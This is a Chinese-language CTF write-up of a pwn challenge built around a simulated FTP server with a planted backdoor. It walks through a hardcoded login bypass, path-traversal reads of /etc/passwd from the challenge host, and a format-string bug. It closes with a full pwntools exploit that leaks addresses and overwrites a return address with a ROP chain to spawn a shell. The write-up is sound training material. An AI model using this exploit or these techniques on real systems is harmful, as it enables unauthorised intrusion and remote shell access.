1
前言
今天这个题目的难点在于逆向分析,是一个模拟FTP服务的程序,利用反而是基操
每日一题计划:督促自己练习,每日分享一题的练习!想一起刷题咱们可以一起练练练,以及,相互监督!
今天是第4天,接下来加快脚步!
题目情况
While running routine updates, our deployment service alerted us of a hash mismatch on an FTP server installed in our network perimeter. While investigating, our SOC team notified us of breach attempts inside the network. We believe a threat actor has compromised the version control system and has inserted a backdoor to try and pivot throughout the network. We got locked from logging into the server, leaving only the FTP exposed. Can you find a way back inside before the attacker owns the network?
Arch: amd64-64-little
RELRO: Full RELRO
Stack: No canary found
NX: NX enabled
PIE: PIE enabled
RUNPATH: b'./'
逆向分析
这个程序是个模拟的FTP服务器程序,反编译代码好几百行,理清楚逻辑,其实就比较好懂了
程序运行,给我们输出了一个:
challenge ➤ ./chall
220 Blablah FTP
首先是接收一个输入,0x1000的缓冲区:
printf("%d Blablah FTP \r\n", 220LL);
*(_QWORD *)buf = 0LL;
v22 = 0LL;
memset(v23, 0, sizeof(v23));
*(_QWORD *)s = 0LL;
v19 = 0LL;
memset(v20, 0, sizeof(v20));
v39 = 2;
seed = time(0LL);
srand(seed);
v38 = -1;
v37 = -1;
v17 = 0;
v15 = 0;
v14 = 0;
path = 0LL;
username_check = 0;
v32 = 1;
v31 = 0;
while ( 1 )
{
len = read(0, buffer, 0x1000uLL);
if ( len <= 0 || !v32 )
break;
buffer[len] = 0;
for ( i = 0; i < len; ++i )
{
if ( buffer[i] == '\r' || buffer[i] == '\n' )// 字符串转换
buffer[i] = 0;
}
if ( buffer[i] )
break;
len = i;
choose = get_choose((__int64)buffer, i); // 根据关键词定位操作编号
if ( choose >= 0 )
{
if ( (username_check || !choose || choose == 26) && (username_check != 1 || choose == 1 || choose == 26) )
{
switch ( choose )
{
case 0: // USER
}}}}
接收输入到buffer之后,把\r\n
置零,然后执行了一个函数进入switch-case结构
这个函数我命名为get_choose:
__int64 __fastcall get_choose(__int64 a1, int a2)
{
int j; // [rsp+14h] [rbp-8h]
int i; // [rsp+18h] [rbp-4h]
for ( i = 0; i <= 29; ++i ) // 根据数组定位操作对应的编号
{
for ( j = 0;
*(_BYTE *)(op_arr[2 * i] + j)
&& j < a2
&& (*(_BYTE *)(op_arr[2 * i] + j) == *(_BYTE *)(j + a1) || *(char *)(op_arr[2 * i] + j) == *(char *)(j + a1) - 32);
++j )
{
;
}
if ( !*(_BYTE *)(op_arr[2 * i] + j) )
return LODWORD(qword_6028[2 * i]);
}
return 0xFFFFFFFFLL;
}
这里用输入遍历一个数组,比对字符串,比对成功后就返回其后面的数值:
.data:0000000000006020 ; __int64 op_arr[60]
.data:0000000000006020 op_arr dq offset aUser ; DATA XREF: get_choose+2C↑o
.data:0000000000006020 ; get_choose+62↑o ...
.data:0000000000006020 ; "USER"
.data:0000000000006028 qword_6028 dq 0 ; DATA XREF: get_choose+100↑o
.data:0000000000006030 dq offset aPass ; "PASS"
.data:0000000000006038 dq 1
.data:0000000000006040 dq offset aRetr ; "RETR"
.data:0000000000006048 dq 2
.data:0000000000006050 dq offset aStor ; "STOR"
.data:0000000000006058 dq 3
.data:0000000000006060 dq offset aStou ; "STOU"
.data:0000000000006068 dq 4
.data:0000000000006070 dq offset aAppe ; "APPE"
.data:0000000000006078 dq 5
.data:0000000000006080 dq offset aRest ; "REST"
.data:0000000000006088 dq 6
.data:0000000000006090 dq offset aRnfr ; "RNFR"
.data:0000000000006098 dq 7
.data:00000000000060A0 dq offset aRnto ; "RNTO"
.data:00000000000060A8 dq 8
.data:00000000000060B0 dq offset aAbor ; "ABOR"
.data:00000000000060B8 dq 9
.data:00000000000060C0 dq offset aDele ; "DELE"
.data:00000000000060C8 dq 0Ah
.data:00000000000060D0 dq offset aRmd ; "RMD"
.data:00000000000060D8 dq 0Bh
.data:00000000000060E0 dq offset aMkd ; "MKD"
.data:00000000000060E8 dq 0Ch
.data:00000000000060F0 dq offset aPwd ; "PWD"
.data:00000000000060F8 dq 0Dh
.data:0000000000006100 dq offset aCwd ; "CWD"
.data:0000000000006108 dq 0Eh
.data:0000000000006110 dq offset aCdup ; "CDUP"
.data:0000000000006118 dq 0Fh
.data:0000000000006120 dq offset aList ; "LIST"
.data:0000000000006128 dq 10h
.data:0000000000006130 dq offset aNlst ; "NLST"
.data:0000000000006138 dq 11h
.data:0000000000006140 dq offset aSite ; "SITE"
.data:0000000000006148 dq 12h
.data:0000000000006150 dq offset aStat_0 ; "STAT"
.data:0000000000006158 dq 13h
.data:0000000000006160 dq offset aHelp ; "HELP"
.data:0000000000006168 dq 14h
.data:0000000000006170 dq offset aNoop ; "NOOP"
.data:0000000000006178 dq 15h
.data:0000000000006180 dq offset aType ; "TYPE"
.data:0000000000006188 dq 16h
.data:0000000000006190 dq offset aPasv ; "PASV"
.data:0000000000006198 dq 17h
.data:00000000000061A0 dq offset aPort ; "PORT"
.data:00000000000061A8 dq 18h
.data:00000000000061B0 dq offset aSyst ; "SYST"
.data:00000000000061B8 dq 19h
.data:00000000000061C0 dq offset aQuit ; "QUIT"
.data:00000000000061C8 dq 1Ah
.data:00000000000061D0 dq offset aMdtm ; "MDTM"
.data:00000000000061D8 dq 1Bh
.data:00000000000061E0 dq offset aSize ; "SIZE"
.data:00000000000061E8 dq 1Ch
.data:00000000000061F0 dq offset aBkdr ; "BKDR"
.data:00000000000061F8 dq 1Dh
.data:00000000000061F8 _data ends
随便执行一个指令都提示要登录
登录分析
登录相关的代码:
case 0: // USER
for ( name = buffer; *(name - 1) != ' '; ++name )// 取出username
;
if ( name_check1(name) || (v24 = getspnam(name)) != 0LL )// USER ;)即可
{
printf("%d User name okay need password \r\n", 331LL);
username_check = 1;
}
else
{
printf("%d Cannot find user name. Do you belong here. \r\n", 530LL);
}
break;
case 1: // PASS
for ( j = buffer; *(j - 1) != 32; ++j )
;
if ( name_check1(name) )
{
printf("%d User logged in proceed \r\n", 230LL);// PASS ;)即可
username_check = 2;
}
else
{
v25 = 0;
printf("%d Password wrong! Please login aggain. \r\n", 530LL);
username_check = 0;
}
break;
这里有个校验,通过了就可以执行其他命令了:
_BOOL8 __fastcall sub_2A22(const char *a1)
{
return strcmp(a1, ";)") == 0;
}
只需要输入
USER ;)
PASS ;)
即可
RETR 功能分析
任意文件读取:
case 2: // RETR
path = (char *)prepare_buffer((__int64)buffer);// 内容装入新缓冲区
if ( !path )
goto LABEL_57;
v26 = sub_24CE(path, v17); // 获取文件内容
if ( v26 < 0 )
{
if ( v26 == -1 )
{
if ( access(path, 0) )
v8 = "file not exist";
else
v8 = "access denyed. Check Permission";
}
else
{
v8 = "unknow error";
}
printf("%d FTP error: %s \r\n", 500LL, v8);
}
else
{
printf("%d Transfer completed \r\n", 226LL);
v17 = 0;
}
if ( v37 >= 0 )
v37 = -1;
if ( v38 >= 0 )
v38 = -1;
break;
从缓冲区里提取参数,也就是文件路径
然后调用sub_24CE:
__int64 __fastcall sub_24CE(const char *a1, unsigned int a2)
{
FILE *stream; // [rsp+18h] [rbp-8h]
stream = fopen(a1, "rb");
if ( !stream )
return 0xFFFFFFFFLL;
fseek(stream, a2, 0);
if ( (int)sub_2449(stream) < 0 )
return 0xFFFFFFFELL;
if ( fclose(stream) )
return 0xFFFFFFFDLL;
return 0LL;
}
__int64 __fastcall sub_2449(FILE *a1)
{
int i; // eax
char buf[4100]; // [rsp+10h] [rbp-1010h] BYREF
int v4; // [rsp+1014h] [rbp-Ch]
int v5; // [rsp+1018h] [rbp-8h]
unsigned int v6; // [rsp+101Ch] [rbp-4h]
v6 = 0;
for ( i = fread(buf, 1uLL, 0x1000uLL, a1); ; i = fread(buf, 1uLL, 0x1000uLL, a1) )
{ // 文件保存到缓冲区
v5 = i;
if ( i <= 0 )
break;
v4 = write(1, buf, v5); // 写出来
if ( v4 < 0 )
return (unsigned int)-1;
buf[v5] = 0;
}
return v6;
}
这里的操作就是,把文件内容读取出来,打印出来,测试如下:
selph ➤ nc 94.237.59.180 47637
220 Blablah FTP
USER ;)
331 User name okay need password
PASS ;)
230 User logged in proceed
RETR flag.txt
RETR flag.txt
HELP
226 Transfer completed
RETR ../../../../etc/passwd
root:x:0:0:root:/root:/bin/ash
bin:x:1:1:bin:/bin:/sbin/nologin
daemon:x:2:2:daemon:/sbin:/sbin/nologin
adm:x:3:4:adm:/var/adm:/sbin/nologin
lp:x:4:7:lp:/var/spool/lpd:/sbin/nologin
sync:x:5:0:sync:/sbin:/bin/sync
shutdown:x:6:0:shutdown:/sbin:/sbin/shutdown
halt:x:7:0:halt:/sbin:/sbin/halt
mail:x:8:12:mail:/var/mail:/sbin/nologin
news:x:9:13:news:/usr/lib/news:/sbin/nologin
uucp:x:10:14:uucp:/var/spool/uucppublic:/sbin/nologin
operator:x:11:0:operator:/root:/sbin/nologin
man:x:13:15:man:/usr/man:/sbin/nologin
postmaster:x:14:12:postmaster:/var/mail:/sbin/nologin
cron:x:16:16:cron:/var/spool/cron:/sbin/nologin
ftp:x:21:21::/var/lib/ftp:/sbin/nologin
sshd:x:22:22:sshd:/dev/null:/sbin/nologin
at:x:25:25:at:/var/spool/cron/atjobs:/sbin/nologin
squid:x:31:31:Squid:/var/cache/squid:/sbin/nologin
xfs:x:33:33:X Font Server:/etc/X11/fs:/sbin/nologin
games:x:35:35:games:/usr/games:/sbin/nologin
cyrus:x:85:12::/usr/cyrus:/sbin/nologin
vpopmail:x:89:89::/var/vpopmail:/sbin/nologin
ntp:x:123:123:NTP:/var/empty:/sbin/nologin
smmsp:x:209:209:smmsp:/var/spool/mqueue:/sbin/nologin
guest:x:405:100:guest:/dev/null:/sbin/nologin
nobody:x:65534:65534:nobody:/:/sbin/nologin
ctf:x:100:101:Linux User,,,:/home/ctf:/sbin/nologin
226 Transfer completed
flag.txt里没内容!!!
BKDR 功能分析
case 29: // BKDR
memset(v11, 0, 0x44CuLL);
strcpy(v11, "%d ");
memcpy(&v11[3], buffer, len);
memcpy(&v11[len + 2], " \r\n", 3uLL);
printf(v11, 0x69420LL); // 格式化字符串漏洞!
break;
这里从buffer里memcpy取值,然后直接调用printf,参数1可控,格式化字符串漏洞
利用分析
分析到这里,已经知道是个格式化字符串漏洞了,且能无限触发,缓冲区还很大
思路就很简单了,第一次格式化字符串,泄露地址(pie,stack,libc)
调用printf的时候的栈上信息:
aa6:5530│-028 0x7fff38c2d0a8 —▸ 0x564577710225 ◂— 0x2e70243525 /* '%5$p.' */
aab:5558│ rbp 0x7fff38c2d0d0 —▸ 0x7fff38c2d0e0 ◂— 0x0
aae:5570│+018 0x7fff38c2d0e8 —▸ 0x7f83885bb565 (__libc_start_main+213) ◂— mov edi, eax
第二次格式化字符串改写printf函数的返回地址写rop拿shell,虽然这个操作会占用很多缓冲区,但是题目给的够大,可以这么操作
也可以打栈迁移来rop
完整exp
#!/usr/bin/env python3
from pwncli import *
cli_script()
set_remote_libc('libc.so.6')
io: tube = gift.io
elf: ELF = gift.elf
libc: ELF = gift.libc
# login
ru(b"220 Blablah FTP \r\n")
sl(b"USER ;)")
print(rl())
sl(b"PASS ;)")
print(rl())
# get leaks
sl(b"BKDR %2731$p.%2736$p.%2739$p")
ru(b"431136 BKDR ")
leak = rl()[:-3]
leak = leak.split(b".")
pieleak = int(leak[0], 16)
stackleak = int(leak[1], 16)
libcleak = int(leak[2], 16)
success(f"PIE Leak: {hex(pieleak)}")
success(f"Stack Leak: {hex(stackleak)}")
success(f"Libc Leak: {hex(libcleak)}")
elf.address = pieleak-0x6225
libc.address = libcleak-0x28565
retaddr = stackleak-0x5568 # printf ret addr
success(f"ELF Address: {hex(elf.address)}")
success(f"Libc Address: {hex(libc.address)}")
success(f"Ret Address: {hex(retaddr)}")
# ROP
rop = ROP([elf,libc])
rop.raw(rop.ret)
rop.system(next(libc.search(b"/bin/sh")))
rop.raw(rop.ret)
rop.raw(rop.ret)
rop.raw(rop.ret)
rop.raw(rop.ret)
rop.raw(rop.ret)
ropb = bytearray(rop.chain())
writes = {}
for i in range(len(ropb) // 8):
writes[retaddr + 8*i] = ropb[8*i:8*i+8]
fmtstr = fmtstr_payload(1031,writes,12)
payload = b"BKDR " + fmtstr
pause()
sl(payload)
ia()
总结
格式化字符串,复杂场景,难在发现,利用简单